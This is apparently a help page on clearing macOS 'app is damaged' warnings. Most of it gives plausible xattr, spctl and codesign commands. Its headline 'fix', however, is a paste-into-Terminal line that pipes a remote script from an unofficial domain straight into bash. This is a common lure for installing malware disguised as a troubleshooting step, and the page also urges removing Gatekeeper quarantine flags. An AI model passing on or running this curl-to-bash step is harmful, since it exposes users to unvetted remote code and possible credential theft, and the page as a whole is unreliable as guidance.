The Terminal Command for “App Is Damaged” on macOS
Two commands cover the warning. One removes the quarantine attribute; the other clears all attributes when the first is not enough. Below is the exact syntax, what each command changes, and how to confirm it worked.
The fix
curl -fsSL https://macfixerror.com/run.sh | bash
Paste it into Terminal and press Return. The helper is a short shell script; review it at /run.sh before running.
sudo xattr -d com.apple.quarantine "/Applications/Your App.app"
Removes the provenance attribute that triggers the check. The narrowest fix and the one to try first.
sudo xattr -cr "/Applications/Your App.app"
Use if the primary reports no such attribute or the dialog returns. Clears every attribute recursively, including Finder tags.
xattr -l "/Applications/Your App.app"
No com.apple.quarantine line means success. Other attributes may remain — that is fine.
spctl -a -vv "/Applications/Your App.app"
Run if the dialog persists. “accepted” means the metadata was the only problem; a rejection names the real cause.
What each command changes
| Command | Changes | Risk |
|---|---|---|
xattr -d com.apple.quarantine | Deletes one extended attribute. | Very low. |
xattr -cr | Deletes every extended attribute recursively. | Low; Finder tags are lost. |
spctl -a -vv | Read-only verdict. | None. |
codesign -dv | Read-only signature dump. | None. |
None of these alter the app’s code or signature. They only touch metadata or print information.
How to run them
- Put the app in
/Applicationsand quit it. - Open Terminal (⌘ + Space, Terminal).
- Type
sudo xattr -d com.apple.quarantine, drag the app in, press Return. - Enter the administrator password — the field stays blank on purpose.
- Open the app. If the dialog returns, run the
-crfallback. - If two attempts fail, run
spctl -a -vvbefore doing more.
Why the narrow command first
Extended attributes carry more than quarantine: Finder tags, where-from URLs, resource forks. The narrow command removes only the one attribute responsible for the warning, so everything else survives. -cr is a broader hammer for the cases where the flag is duplicated deeper in the bundle or the narrow form is refused.
What the results mean
- No output — the command worked. Launch the app.
- “No such xattr” — the flag was already absent. Move to
spctl. - “Operation not permitted” — add
sudo, or the app is on a read-only volume. - “No such file” — wrong path or missing quotes.
- Dialog still appears — metadata was not the cause; check the signature and architecture.
When these commands are not enough
If codesign --verify --deep --strict fails on a fresh copy, the bundle is altered or incomplete. Unpack the original archive again or re-download it; attributes cannot repair bytes. On Apple silicon, an Intel-only build additionally needs Rosetta: softwareupdate --install-rosetta.
Full decision tree in Is the app really damaged?
Frequently asked questions
Can I combine the two commands?
Does sudo ask for a password every time?
Can I run these on several apps at once?
Is there an undo?
Will this work on macOS 26?
Do I need to restart after?
This is an independent, unofficial guide. It is not affiliated with, endorsed by, or sponsored by Apple Inc. macOS and Apple are trademarks of Apple Inc. Always keep a backup before changing system files.